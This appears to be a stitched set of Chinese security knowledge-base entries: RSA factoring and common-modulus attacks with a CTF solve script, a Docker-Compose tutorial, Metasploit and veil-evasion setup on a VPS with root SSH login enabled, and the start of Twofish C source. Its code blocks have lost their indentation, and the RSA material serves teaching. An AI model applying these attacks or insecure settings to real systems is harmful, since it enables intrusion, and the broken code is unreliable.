$$
通过`公式2.6`,`公式2.7`和`公式3.1`有
$$
\begin{cases}
T[s_1]&\equiv P_mV[s_1]-2V[s_1-1]\\
T[s_1-1]&\equiv 2V[s_1]-P_mV[s_1-1]\pmod{N}
\end{cases}
$$
即
$$
\begin{cases}
T[s_{i+1}]&\equiv T[s_i]U[2d_i+1]-T[s_i-1]U[2d_i]\\
T[s_{i+1}-1]&\equiv T[s_i]U[2d_i]-T[s_i-1]U[2d_i-1]\pmod{N}
\end{cases}
$$
计算$T[s_i], i=1,2,3\dots$,然后计算
$$
H_t = (\prod_{i=0}^c{T[s_{i+t}], N})
$$
其中$t = 1, c+1, 2c+1, \dots, c[B_2/c]+1$,我们有$p\mid H_i$当$(\Delta/p)=-1$
* python代码实现
```python
def mlucas(v, a, n):
""" Helper function for williams_pp1(). Multiplies along a Lucas sequence modulo n. """
v1, v2 = v, (v**2 - 2) % n
for bit in bin(a)[3:]: v1, v2 = ((v1**2 - 2) % n, (v1*v2 - v) % n) if bit == "0" else ((v1*v2 - v) % n, (v2**2 - 2) % n)
return v1
for v in count(1):
for p in primegen():
e = ilog(isqrt(n), p)
if e == 0: break
for _ in xrange(e): v = mlucas(v, p, n)
g = gcd(v-2, n)
if 1 < g < n: return g # g|n
if g == n: break
```
### 模不互素攻击原理
当存在两个公钥的 N 不互素时,我们显然可以直接对这两个数求最大公因数,然后直接获得 p,q,进而获得相应的私钥。
### 共模攻击条件
当两个用户使用相同的模数 N、不同的私钥时,加密同一明文消息时即存在共模攻击。
### 共模攻击原理
设两个用户的公钥分别为 $e_1$ 和 $e_2$,且两者互质。明文消息为 $m$,密文分别为:
$$
c_1 = m^{e_1}\bmod N \\
c_2 = m^{e_2}\bmod N
$$
当攻击者截获 $c_1$ 和 $c_2$ 后,就可以恢复出明文。用扩展欧几里得算法求出 $re_1+se_2=1\bmod n$ 的两个整数 $r$ 和 $s$,由此可得:
$$
\begin{align*}
c_{1}^{r}c_{2}^{s} &\equiv m^{re_1}m^{se_2}\bmod n\\
&\equiv m^{(re_1+se_2)} \bmod n\\
&\equiv m\bmod n
\end{align*}
$$
### XMan 一期夏令营课堂练习
题目描述:
```
{6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249,773}
{6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249,839}
message1=3453520592723443935451151545245025864232388871721682326408915024349804062041976702364728660682912396903968193981131553111537349
message2=5672818026816293344070119332536629619457163570036305296869053532293105379690793386019065754465292867769521736414170803238309535
```
> 题目来源:XMan 一期夏令营课堂练习
可以看出两个公钥的 N 是一样的,并且两者的 e 互素。写一个脚本跑一下:
```python
import gmpy2
n = 6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249
e1 = 773
e2 = 839
message1 = 3453520592723443935451151545245025864232388871721682326408915024349804062041976702364728660682912396903968193981131553111537349
message2 = 5672818026816293344070119332536629619457163570036305296869053532293105379690793386019065754465292867769521736414170803238309535
# s & t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
message1 = gmpy2.invert(message1, n)
if t < 0:
t = -t
message2 = gmpy2.invert(message2, n)
plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n
print plain
```
得到
```shell
➜ Xman-1-class-exercise git:(master) ✗ python exp.py
1021089710312311910410111011910111610410511010710511610511511211111511510598108101125
```
这时候需要考虑当时明文是如何转化为这个数字了,一般来说是 16 进制转换,ASCII 字符转换,或者 Base64 解密。这个应该是 ASCII 字符转换,进而我们使用如下代码得到 flag
```python
i = 0
flag = ""
plain = str(plain)
while i < len(plain):
if plain[i] == '1':
flag += chr(int(plain[i:i + 3]))
i += 3
else:
flag += chr(int(plain[i:i + 2]))
i += 2
print flag
```
|
sec-knowleage
|
# Docker-Compose
---
**项目地址**
- https://github.com/docker/compose
---
## 为什么要使用 Docker-Compose
Compose 项目是 Docker 官方的开源项目,负责实现对 Docker 容器集群的快速编排.
使用一个 Dockerfile 模板文件,可以让用户很方便的定义一个单独的应用容器。然而,在日常工作中,经常会碰到需要多个容器相互配合来完成某项任务的情况。例如要实现一个 Web 项目,除了 Web 服务容器本身,往往还需要再加上后端的数据库服务容器,甚至还包括负载均衡容器等。
Compose 恰好满足了这样的需求。它允许用户通过一个单独的 docker-compose.yml 模板文件(YAML 格式)来定义一组相关联的应用容器为一个项目(project)。
Compose 中有两个重要的概念:
- 服务 (service):一个应用的容器,实际上可以包括若干运行相同镜像的容器实例。
- 项目 (project):由一组关联的应用容器组成的一个完整业务单元,在 docker-compose.yml 文件中定义。
Compose 的默认管理对象是项目,通过子命令对项目中的一组容器进行便捷地生命周期管理。
Compose 项目由 Python 编写,实现上调用了 Docker 服务提供的 API 来对容器进行管理。因此,只要所操作的平台支持 Docker API,就可以在其上利用 Compose 来进行编排管理。
新版 Compose V2 使用 Go 进行编写。
目前Compose 可以通过 Python 的包管理工具 pip 进行安装,也可以直接下载编译好的二进制文件使用,甚至能够直接在 Docker 容器中运行。
---
## 编写 docker-compose.yml
一个项目可以由多个服务(容器)关联而成,Compose 面向项目进行管理。
最常见的项目是 web 网站,下面用 Python 来建立一个 web 网站。
```bash
mkdir testflask && cd $_
vim app.py
```
复制下面的代码
```py
from flask import Flask
from redis import Redis
app = Flask(__name__)
redis = Redis(host='redis', port=6379)
@app.route('/')
def hello():
count = redis.incr('hits')
return 'Hello World! 该页面已被访问 {} 次。\n'.format(count)
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=True)
```
保存,编写 Dockerfile 文件
```
vim Dockerfile
FROM debian:stretch
ADD . /code
WORKDIR /code
RUN apt-get update && apt-get -y install python3 python3-pip
RUN pip3 install redis flask
CMD ["python3", "app.py"]
```
编写 docker-compose.yml 文件,这个是 Compose 使用的主模板文件。
```
vim docker-compose.yml
version: '3'
services:
web:
build: .
ports:
- "5000:5000"
redis:
image: "redis:alpine"
```
运行 compose 项目
```bash
docker-compose up
```
访问本地 5000 端口,查看运行的网站
---
## 模板
默认的模板文件名称为 docker-compose.yml,格式为 YAML 格式。
```yaml
version: "3"
services:
webapp:
image: examples/web
ports:
- "80:80"
volumes:
- "/data"
```
注意每个服务都必须通过 image 指令指定镜像或 build 指令(需要 Dockerfile)等来自动构建生成镜像。
如果使用 build 指令,在 Dockerfile 中设置的选项(例如:CMD, EXPOSE, VOLUME, ENV 等) 将会自动被获取,无需在 docker-compose.yml 中重复设置。
**build**
指定 Dockerfile 所在文件夹的路径(可以是绝对路径,或者相对 docker-compose.yml 文件的路径)。 Compose 将会利用它自动构建这个镜像,然后使用这个镜像。
```yaml
version: '3'
services:
webapp:
build: ./dir
```
你也可以使用 context 指令指定 Dockerfile 所在文件夹的路径。
使用 dockerfile 指令指定 Dockerfile 文件名。
使用 arg 指令指定构建镜像时的变量。
```yaml
version: '3'
services:
webapp:
build:
context: ./dir
dockerfile: Dockerfile-alternate
args:
buildno: 1
```
使用 cache_from 指定构建镜像的缓存
```yaml
build:
context: .
cache_from:
- alpine:latest
- corp/web_app:3.14
```
**cap_add, cap_drop**
指定容器的内核能力(capacity)分配。
例如,让容器拥有所有能力可以指定为:
```yaml
cap_add:
- ALL
```
去掉 NET_ADMIN 能力可以指定为:
```yaml
cap_drop:
- NET_ADMIN
```
**command**
覆盖容器启动后默认执行的命令。
```yaml
command: echo "hello world"
```
**configs**
仅用于 Swarm mode
**cgroup_parent**
指定父 cgroup 组,意味着将继承该组的资源限制。
例如,创建了一个 cgroup 组名称为 cgroups_1。
```yaml
cgroup_parent: cgroups_1
```
**container_name**
指定容器名称。默认将会使用 项目名称_服务名称_序号 这样的格式。
```yaml
container_name: docker-web-container
```
注意: 指定容器名称后,该服务将无法进行扩展(scale),因为 Docker 不允许多个容器具有相同的名称。
**deploy**
仅用于 Swarm mode
**devices**
指定设备映射关系。
```yaml
devices:
- "/dev/ttyUSB1:/dev/ttyUSB0"
```
**depends_on**
解决容器的依赖、启动先后的问题。以下例子中会先启动 redis db 再启动 web
```yaml
version: '3'
services:
web:
build: .
depends_on:
- db
- redis
redis:
image: redis
db:
image: postgres
```
> 注意:web 服务不会等待 redis db 「完全启动」之后才启动。
**dns**
自定义 DNS 服务器。可以是一个值,也可以是一个列表。
```yaml
dns: 8.8.8.8
dns:
- 8.8.8.8
- 114.114.114.114
```
**dns_search**
配置 DNS 搜索域。可以是一个值,也可以是一个列表。
```yaml
dns_search: example.com
dns_search:
- domain1.example.com
- domain2.example.com
```
**tmpfs**
挂载一个 tmpfs 文件系统到容器。
```yaml
tmpfs: /run
tmpfs:
- /run
- /tmp
```
**env_file**
从文件中获取环境变量,可以为单独的文件路径或列表。
如果通过 `docker-compose -f FILE` 方式来指定 Compose 模板文件,则 `env_file` 中变量的路径会基于模板文件路径。
如果有变量名称与 environment 指令冲突,则按照惯例,以后者为准。
```yaml
env_file: .env
env_file:
- ./common.env
- ./apps/web.env
- /opt/secrets.env
```
环境变量文件中每一行必须符合格式,支持 # 开头的注释行。
```yaml
# common.env: Set development environment
PROG_ENV=development
```
**environment**
设置环境变量。你可以使用数组或字典两种格式。
只给定名称的变量会自动获取运行 Compose 主机上对应变量的值,可以用来防止泄露不必要的数据。
```yaml
environment:
RACK_ENV: development
SESSION_SECRET:
environment:
- RACK_ENV=development
- SESSION_SECRET
```
如果变量名称或者值中用到 true|false,yes|no 等表达布尔含义的词汇,最好放到引号里,避免 YAML 自动解析某些内容为对应的布尔语义。这些特定词汇,包括
```
y|Y|yes|Yes|YES|n|N|no|No|NO|true|True|TRUE|false|False|FALSE|on|On|ON|off|Off|OFF
```
**expose**
暴露端口,但不映射到宿主机,只被连接的服务访问。
仅可以指定内部端口为参数
```yaml
expose:
- "3000"
- "8000"
```
**external_links**
> 不建议使用该指令
链接到 docker-compose.yml 外部的容器,甚至并非 Compose 管理的外部容器。
```yaml
external_links:
- redis_1
- project_db_1:mysql
- project_db_1:postgresql
```
**extra_hosts**
类似 Docker 中的 --add-host 参数,指定额外的 host 名称映射信息。
```yaml
extra_hosts:
- "googledns:8.8.8.8"
- "dockerhub:52.1.157.61"
```
会在启动后的服务容器中 /etc/hosts 文件中添加如下两条条目。
```yaml
8.8.8.8 googledns
52.1.157.61 dockerhub
```
**healthcheck**
通过命令检查容器是否健康运行。
```yaml
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost"]
interval: 1m30s
timeout: 10s
retries: 3
```
**image**
指定为镜像名称或镜像 ID。如果镜像在本地不存在,Compose 将会尝试拉取这个镜像。
```yaml
image: ubuntu
image: orchardup/postgresql
image: a4bc65fd
```
**labels**
为容器添加 Docker 元数据(metadata)信息。例如可以为容器添加辅助说明信息。
```yaml
labels:
com.startupteam.description: "webapp for a startup team"
com.startupteam.department: "devops department"
com.startupteam.release: "rc3 for v1.0"
```
**logging**
配置日志选项。
```yaml
logging:
driver: syslog
options:
syslog-address: "tcp://192.168.0.42:123"
```
目前支持三种日志驱动类型。
```yaml
driver: "json-file"
driver: "syslog"
driver: "none"
```
options 配置日志驱动的相关参数。
```yaml
options:
max-size: "200k"
max-file: "10"
```
**network_mode**
设置网络模式。使用和 docker run 的 --network 参数一样的值。
```yaml
network_mode: "bridge"
network_mode: "host"
network_mode: "none"
network_mode: "service:[service name]"
network_mode: "container:[container name/id]"
```
**networks**
配置容器连接的网络。
```yaml
version: "3"
services:
some-service:
networks:
- some-network
- other-network
networks:
some-network:
other-network:
```
**pid**
跟主机系统共享进程命名空间。打开该选项的容器之间,以及容器和宿主机系统之间可以通过进程 ID 来相互访问和操作。
```yaml
pid: "host"
```
**ports**
暴露端口信息。
使用宿主端口:容器端口 (HOST:CONTAINER) 格式,或者仅仅指定容器的端口(宿主将会随机选择端口)都可以。
```yaml
ports:
- "3000"
- "8000:8000"
- "49100:22"
- "127.0.0.1:8001:8001"
```
> 注意:当使用 HOST:CONTAINER 格式来映射端口时,如果你使用的容器端口小于 60 并且没放到引号里,可能会得到错误结果,因为 YAML 会自动解析 xx:yy 这种数字格式为 60 进制。为避免出现这种问题,建议数字串都采用引号包括起来的字符串格式。
**secrets**
存储敏感数据,例如 mysql 服务密码。
```yaml
version: "3.1"
services:
mysql:
image: mysql
environment:
MYSQL_ROOT_PASSWORD_FILE: /run/secrets/db_root_password
secrets:
- db_root_password
- my_other_secret
secrets:
my_secret:
file: ./my_secret.txt
my_other_secret:
external: true
```
**security_opt**
指定容器模板标签(label)机制的默认属性(用户、角色、类型、级别等)。例如配置标签的用户名和角色名。
```yaml
security_opt:
- label:user:USER
- label:role:ROLE
```
**stop_signal**
设置另一个信号来停止容器。在默认情况下使用的是 SIGTERM 停止容器。
```yaml
stop_signal: SIGUSR1
```
**sysctls**
配置容器内核参数。
```yaml
sysctls:
net.core.somaxconn: 1024
net.ipv4.tcp_syncookies: 0
sysctls:
- net.core.somaxconn=1024
- net.ipv4.tcp_syncookies=0
```
**ulimits**
指定容器的 ulimits 限制值。
例如,指定最大进程数为 65535,指定文件句柄数为 20000(软限制,应用可以随时修改,不能超过硬限制) 和 40000(系统硬限制,只能 root 用户提高)。
```yaml
ulimits:
nproc: 65535
nofile:
soft: 20000
hard: 40000
```
**volumes**
数据卷所挂载路径设置。可以设置为宿主机路径(HOST:CONTAINER)或者数据卷名称(VOLUME:CONTAINER),并且可以设置访问模式 (HOST:CONTAINER:ro)。
该指令中路径支持相对路径。
```yaml
volumes:
- /var/lib/mysql
- cache/:/tmp/cache
- ~/configs:/etc/configs/:ro
```
如果路径为数据卷名称,必须在文件中配置数据卷。
```yaml
version: "3"
services:
my_src:
image: mysql:8.0
volumes:
- mysql_data:/var/lib/mysql
volumes:
mysql_data:
```
**读取变量**
Compose 模板文件支持动态读取主机的系统环境变量和当前目录下的 `.env` 文件中的变量。
例如,下面的 Compose 文件将从运行它的环境中读取变量 ${MONGO_VERSION} 的值,并写入执行的指令中。
```yaml
version: "3"
services:
db:
image: "mongo:${MONGO_VERSION}"
```
如果执行 MONGO_VERSION=3.2 docker-compose up 则会启动一个 mongo:3.2 镜像的容器;如果执行 MONGO_VERSION=2.8 docker-compose up 则会启动一个 mongo:2.8 镜像的容器。
若当前目录存在 `.env` 文件,执行 docker-compose 命令时将从该文件中读取变量。
在当前目录新建 `.env` 文件并写入以下内容。
```yaml
# 支持 # 号注释
MONGO_VERSION=3.6
```
执行 docker-compose up 则会启动一个 mongo:3.6 镜像的容器。
---
## Source & Reference
- https://yeasy.gitbook.io/docker_practice/compose/introduction
- https://yeasy.gitbook.io/docker_practice/compose/usage
- https://yeasy.gitbook.io/docker_practice/compose/compose_file
|
sec-knowleage
|
许多教程都会讲解 msf 分别在 windows,linux 以及 Mac 上的安装,而在实际的项目中,或者实战中,居多以 vps 上做跳板渗透,而vps 又以 linux 居多。故本章直接以 linux 为安装背景。
### vps背景如下:
```bash
root@john:~# uname -a
Linux john 3.16.0-7-amd64 #1 SMP Debian 3.16.59-1 (2018-10-03) x86_64 GNU/Linux
root@john:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.11 (jessie)
Release: 8.11 Codename: jessie
root@john:~# cat /proc/version
Linux version 3.16.0-7-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb8u1) ) #1 SMP Debian 3.16.59-1 (2018-10-03)
```
以Debian为载体,更能快速的安装与配置msf。
### 安装:
**配置源**
```bash
root@john:~# nano /etc/apt/sources.list
root@john:~# cat /etc/apt/sources.list
#
# deb cdrom:[Debian GNU/Linux 8.11.0 _Jessie_ - Official amd64 NETINST Binary-1 20180623-13:06]/ jessie main
#deb cdrom:[Debian GNU/Linux 8.11.0 _Jessie_ - Official amd64 NETINST Binary-1 20180623-13:06]/ jessie main
deb http://http.us.debian.org/debian/ jessie main
deb-src http://http.us.debian.org/debian/ jessie main
deb http://security.debian.org/ jessie/updates main
deb-src http://security.debian.org/ jessie/updates main
# jessie-updates, previously known as 'volatile'
deb http://http.us.debian.org/debian/ jessie-updates main
deb-src http://http.us.debian.org/debian/ jessie-updates main
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb http://http.kali.org/kali kali-rolling main non-free contrib
```

**更新源:**
```bash
root@john:~# apt-get update&&apt-get upgrade
```
更新后故可apt 安装即可,方便快捷。
```bash
root@john:~# apt-get install metasploit-framework
```
如安装sqlmap等。安装metasploit-framework,

以此种方式安装,也无需在配置psql。可快速部署解决项目。

**sqlmap**

在虚拟机,多数存在几点问题
1. 配置后,ssh无法连接
2. 关于vmtools的问题
3. 虚拟机的vpn问题
4. U盘安装kali不能挂载的问题
### 问题1:
**配置SSH:**
```bash
apt install ssh
nano /etc/ssh/sshd_config #PasswordAuthentication no //修改yes
#PermitRootLogin yes //修改yes
service ssh start //重启
/etc/init.d/ssh status //验证
update-rc.d ssh enable //添加开机重启
//运行ssh root登录
#PermitRootLogin prohibit-password改为PermitRootLogin yes
```
### 问题2:
更新源安装vmtool,文件头:
```bash
root@john:~# apt-get install open-vm-tools-desktop fuse
root@john:~#apt-cache search linux-headers //安装头文件
root@john:~#apt-get install linux-image-4.9.0-kali3-amd64
root@john:~#apt-get install linux-image-4.9.0 //
root@john:~#apt-get install linux-headers-4.9.0-kali4-amd64 //重启
root@john:~# apt-get install linux-headers-$(uname -r) //kali2.0以后vmtools不需要安装
```
### 问题3:
安装各种VPN:
```bash
apt-get install -y pptpd network-manager-openvpn network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome
```
重启网卡即可。
### 问题4:
Kali U盘安装不能挂载:
第一步:df -m
此时会看到挂载信息,最下面的是/dev/XXX /media
这个是U盘设备挂载到了/media,导致cd-rom不能被挂载。
第二步:umount /media
上面那个国外的解决方案还要继续mount /dev/XXX /cd-rom
但本机测试不用自己挂载,安装程序会自己挂载。自己挂载反而会引起后面出现GRUB安装失败。
第三步:exit
退出命令窗口后,返回之前的语言选择,继续安装,现在不会再出现cd-rom无法挂载的情况了,安装顺利完成
在vps配置并更新好以上源时,按照项目或者任务在安装其他相关工具辅助。当不确定或者对某些工具遗忘时,可如下操作:




### 配置zsh:
```bash
sh -c "\$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
chsh -s `which zsh` //设置默认为zsh
cat /etc/shells //查看当前安装的shell
echo $SHELL //查看当前使用shells
```

如果是 vps 不建议安装 oh-my-zsh,很多国外的 vps 延迟较多。我是配置zsh。
wget https://raw.githubusercontent.com/skywind3000/vim/master/etc/zshrc.zsh
把上面下载的文件复制粘贴到你的 ~/.zshrc 文件里,保存,运行 zsh 即可。头一次运行会安装一些依赖包,稍等两分钟,以后再进入就瞬间进入了。

如果不能tab补全:
```bash
nano /root/.bashrc
```
跳到最后一行,添加:
```bash
if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
./etc/bash_completion
fi
```

为msf payload添加第三方框架:(这未来会详细讲述,次季,仅是安装)
```bash
root@John:~# apt-get install veil-evasion
```


至此vps上的msf的初级配置结束。
**注:部分vps上没有安装mlocate,安装即可。**

> Micropoor
|
sec-knowleage
|
/*
* Fast, portable, and easy-to-use Twofish implementation,
* Version 0.3.
* Copyright (c) 2002 by Niels Ferguson.
* (See further down for the almost-unrestricted licensing terms.)
*
* --------------------------------------------------------------------------
* There are two files for this implementation:
* - twofish.h, the header file.
* - twofish.c, the code file.
*
* To incorporate this code into your program you should:
* - Check the licensing terms further down in this comment.
* - Fix the two type definitions in twofish.h to suit your platform.
* - Fix a few definitions in twofish.c in the section marked
* PLATFORM FIXES. There is one important ones that affects
* functionality, and then a few definitions that you can optimise
* for efficiency but those have no effect on the functionality.
* Don't change anything else.
* - Put the code in your project and compile it.
*
* To use this library you should:
* - Call Twofish_initialise() in your program before any other function in
* this library.
* - Use Twofish_prepare_key(...) to convert a key to internal form.
* - Use Twofish_encrypt(...) and Twofish_decrypt(...) to encrypt and decrypt
* data.
* See the comments in the header file for details on these functions.
* --------------------------------------------------------------------------
*
* There are many Twofish implementation available for free on the web.
* Most of them are hard to integrate into your own program.
* As we like people to use our cipher, I thought I would make it easier.
* Here is a free and easy-to-integrate Twofish implementation in C.
* The latest version is always available from my personal home page at
* http://niels.ferguson.net/
*
* Integrating library code into a project is difficult because the library
* header files interfere with the project's header files and code.
* And of course the project's header files interfere with the library code.
* I've tried to resolve these problems here.
* The header file of this implementation is very light-weight.
* It contains two typedefs, a structure, and a few function declarations.
* All names it defines start with "Twofish_".
* The header file is therefore unlikely to cause problems in your project.
* The code file of this implementation doesn't need to include the header
* files of the project. There is thus no danger of the project interfering
* with all the definitions and macros of the Twofish code.
* In most situations, all you need to do is fill in a few platform-specific
* definitions in the header file and code file,
* and you should be able to run the Twofish code in your project.
* I estimate it should take you less than an hour to integrate this code
* into your project, most of it spent reading the comments telling you what
* to do.
*
* For people using C++: it is very easy to wrap this library into a
* TwofishKey class. One of the big advantages is that you can automate the
* wiping of the key material in the destructor. I have not provided a C++
* class because the interface depends too much on the abstract base class
* you use for block ciphers in your program, which I don't know about.
*
* This implementation is designed for use on PC-class machines. It uses the
* Twofish 'full' keying option which uses large tables. Total table size is
* around 5-6 kB for static tables plus 4.5 kB for each pre-processed key.
* If you need an implementation that uses less memory,
* take a look at Brian Gladman's code on his web site:
* http://fp.gladman.plus.com/cryptography_technology/aes/
* He has code for all AES candidates.
* His Twofish code has lots of options trading off table size vs. speed.
* You can also take a look at the optimised code by Doug Whiting on the
* Twofish web site
* http://www.counterpane.com/twofish.html
* which has loads of options.
* I believe these existing implementations are harder to re-use because they
* are not clean libraries and they impose requirements on the environment.
* This implementation is very careful to minimise those,
* and should be easier to integrate into any larger program.
*
* The default mode of this implementation is fully portable as it uses no
* behaviour not defined in the C standard. (This is harder than you think.)
* If you have any problems porting the default mode, please let me know
* so that I can fix the problem. (But only if this code is at fault, I
* don't fix compilers.)
* Most of the platform fixes are related to non-portable but faster ways
* of implementing certain functions.
*
* In general I've tried to make the code as fast as possible, at the expense
* of memory and code size. However, C does impose limits, and this
* implementation will be slower than an optimised assembler implementation.
* But beware of assembler implementations: a good Pentium implementation
* uses completely different code than a good Pentium II implementation.
* You basically have to re-write the assembly code for every generation of
* processor. Unless you are severely pressed for speed, stick with C.
*
* The initialisation routine of this implementation contains a self-test.
* If initialisation succeeds without calling the fatal routine, then
* the implementation works. I don't think you can break the implementation
* in such a way that it still passes the tests, unless you are malicious.
* In other words: if the initialisation routine returns,
* you have successfully ported the implementation.
* (Or not implemented the fatal routine properly, but that is your problem.)
*
* I'm indebted to many people who helped me in one way or another to write
* this code. During the design of Twofish and the AES process I had very
* extensive discussions of all implementation issues with various people.
* Doug Whiting in particular provided a wealth of information. The Twofish
* team spent untold hours discussion various cipher features, and their
* implementation. Brian Gladman implemented all AES candidates in C,
* and we had some fruitful discussions on how to implement Twofish in C.
* Jan Nieuwenhuizen tested this code on Linux using GCC.
*
* Now for the license:
* The author hereby grants a perpetual license to everybody to
* use this code for any purpose as long as the copyright message is included
* in the source code of this or any derived work.
*
* Yes, this means that you, your company, your club, and anyone else
* can use this code anywhere you want. You can change it and distribute it
* under the GPL, include it in your commercial product without releasing
* the source code, put it on the web, etc.
* The only thing you cannot do is remove my copyright message,
* or distribute any source code based on this implementation that does not
* include my copyright message.
*
* I appreciate a mention in the documentation or credits,
* but I understand if that is difficult to do.
* I also appreciate it if you tell me where and why you used my code.
*
* Please send any questions or comments to niels@ferguson.net
*
* Have Fun!
*
* Niels
*/
/*
* DISCLAIMER: As I'm giving away my work for free, I'm of course not going
* to accept any liability of any form. This code, or the Twofish cipher,
* might very well be flawed; you have been warned.
* This software is provided as-is, without any kind of warrenty or
* guarantee. And that is really all you can expect when you download
* code for free from the Internet.
*
* I think it is really sad that disclaimers like this seem to be necessary.
* If people only had a little bit more common sense, and didn't come
* whining like little children every time something happens....
*/
/*
* Version history:
* Version 0.0, 2002-08-30
* First written.
* Version 0.1, 2002-09-03
* Added disclaimer. Improved self-tests.
* Version 0.2, 2002-09-09
* Removed last non-portabilities. Default now works completely within
* the C standard. UInt32 can be larger than 32 bits without problems.
* Version 0.3, 2002-09-28
* Bugfix: use <string.h> instead of <memory.h> to adhere to ANSI/ISO.
* Rename BIG_ENDIAN macro to CPU_IS_BIG_ENDIAN. The gcc library
* header <string.h> already defines BIG_ENDIAN, even though it is not
* supposed to.
*/
/*
* Minimum set of include files.
* You should not need any application-specific include files for this code.
* In fact, adding you own header files could break one of the many macros or
* functions in this file. Be very careful.
* Standard include files will probably be ok.
*/
#include <string.h> /* for memset(), memcpy(), and memcmp() */
#include <assert.h>
#include "twofish.h"
/*
* PLATFORM FIXES
* ==============
*
* Fix the type definitions in twofish.h first!
*
* The following definitions have to be fixed for each particular platform
* you work on. If you have a multi-platform program, you no doubt have
* portable definitions that you can substitute here without changing the
* rest of the code.
*/
/*
* Function called if something is fatally wrong with the implementation.
* This fatal function is called when a coding error is detected in the
* Twofish implementation, or when somebody passes an obviously erroneous
* parameter to this implementation. There is not much you can do when
* the code contains bugs, so we just stop.
*
* The argument is a string. Ideally the fatal function prints this string
* as an error message. Whatever else this function does, it should never
* return. A typical implementation would stop the program completely after
* printing the error message.
*
* This default implementation is not very useful,
* but does not assume anything about your environment.
* It will at least let you know something is wrong....
* I didn't want to include any libraries to print and error or so,
* as this makes the code much harder to integrate in a project.
*
* Note that the Twofish_fatal function may not return to the caller.
* Unfortunately this is not something the self-test can test for,
* so you have to make sure of this yourself.
*
* If you want to call an external function, be careful about including
* your own header files here. This code uses a lot of macros, and your
* header file could easily break it. Maybe the best solution is to use
* a separate extern statement for your fatal function.
*/
#define Twofish_fatal(pmsgx) { *((char*)0) = 0; }
/*
* The rest of the settings are not important for the functionality
* of this Twofish implementation. That is, their default settings
* work on all platforms. You can change them to improve the
* speed of the implementation on your platform. Erroneous settings
* will result in erroneous implementations, but the self-test should
* catch those.
*/
/*
* Macros to rotate a Twofish_UInt32 value left or right by the
* specified number of bits. This should be a 32-bit rotation,
* and not rotation of, say, 64-bit values.
*
* Every encryption or decryption operation uses 32 of these rotations,
* so it is a good idea to make these macros efficient.
*
* This fully portable definition has one piece of tricky stuff.
* The UInt32 might be larger than 32 bits, so we have to mask
* any higher bits off. The simplest way to do this is to 'and' the
* value first with 0xffffffff and then shift it right. An optimising
* compiler that has a 32-bit type can optimise this 'and' away.
*
* Unfortunately there is no portable way of writing the constant
* 0xffffffff. You don't know which suffix to use (U, or UL?)
* The UINT32_MASK definition uses a bit of trickery. Shift-left
* is only defined if the shift amount is strictly less than the size
* of the UInt32, so we can't use (1<<32). The answer it to take the value
* 2, cast it to a UInt32, shift it left 31 positions, and subtract one.
* Another example of how to make something very simple extremely difficult.
* I hate C.
*
* The rotation macros are straightforward.
* They are only applied to UInt32 values, which are _unsigned_
* so the >> operator must do a logical shift that brings in zeroes.
* On most platforms you will only need to optimise the ROL32 macro; the
* ROR32 macro is not inefficient on an optimising compiler as all rotation
* amounts in this code are known at compile time.
*
* On many platforms there is a faster solution.
* For example, MS compilers have the __rotl and __rotr functions
* that generate x86 rotation instructions.
*/
#define UINT32_MASK ( (((Twofish_UInt32)2)<<31) - 1 )
#define ROL32(x,n) ( (x)<<(n) | ((x) & UINT32_MASK) >> (32-(n)) )
#define ROR32(x,n) ( (x)>>(n) | ((x) & UINT32_MASK) << (32-(n)) )
/*
* Method to select a single byte from a UInt32.
* WARNING: non-portable code if set; might not work on all platforms.
*
* Inside the inner loop of Twofish it is necessary to access the 4
* individual bytes of a UInt32. This can be done using either shifts
* and masks, or memory accesses.
*
* Set to 0 to use shift and mask operations for the byte selection.
* This is more ALU intensive. It is also fully portable.
*
* Set to 1 to use memory accesses. The UInt32 is stored in memory and
* the individual bytes are read from memory one at a time.
* This solution is more memory-intensive, and not fully portable.
* It might be faster on your platform, or not. If you use this option,
* make sure you set the CPU_IS_BIG_ENDIAN flag appropriately.
*
* This macro does not affect the conversion of the inputs and outputs
* of the cipher. See the CONVERT_USING_CASTS macro for that.
*/
#define SELECT_BYTE_FROM_UINT32_IN_MEMORY 0 /* default = 0 */
/*
* Method used to read the input and write the output.
* WARNING: non-portable code if set; might not work on all platforms.
*
* Twofish operates on 32-bit words. The input to the cipher is
* a byte array, as is the output. The portable method of doing the
* conversion is a bunch of rotate and mask operations, but on many
* platforms it can be done faster using a cast.
* This only works if your CPU allows UInt32 accesses to arbitrary Byte
* addresses.
*
* Set to 0 to use the shift and mask operations. This is fully
* portable. .
*
* Set to 1 to use a cast. The Byte * is cast to a UInt32 *, and a
* UInt32 is read. If necessary (as indicated by the CPU_IS_BIG_ENDIAN
* macro) the byte order in the UInt32 is swapped. The reverse is done
* to write the output of the encryption/decryption. Make sure you set
* the CPU_IS_BIG_ENDIAN flag appropriately.
* This option does not work unless a UInt32 is exactly 32 bits.
*
* This macro only changes the reading/writing of the plaintext/ciphertext.
* See the SELECT_BYTE_FROM_UINT32_IN_MEMORY to affect the way in which
* a UInt32 is split into 4 bytes for the S-box selection.
*/
#define CONVERT_USING_CASTS 0 /* default = 0 */
/*
* Endianness switch.
* Only relevant if SELECT_BYTE_FROM_UINT32_IN_MEMORY or
* CONVERT_USING_CASTS is set.
*
* Set to 1 on a big-endian machine, and to 0 on a little-endian machine.
* Twofish uses the little-endian convention (least significant byte first)
* and big-endian machines (using most significant byte first)
* have to do a few conversions.
*
* CAUTION: This code has never been tested on a big-endian machine,
* because I don't have access to one. Feedback appreciated.
*/
#define CPU_IS_BIG_ENDIAN 0
/*
* Macro to reverse the order of the bytes in a UInt32.
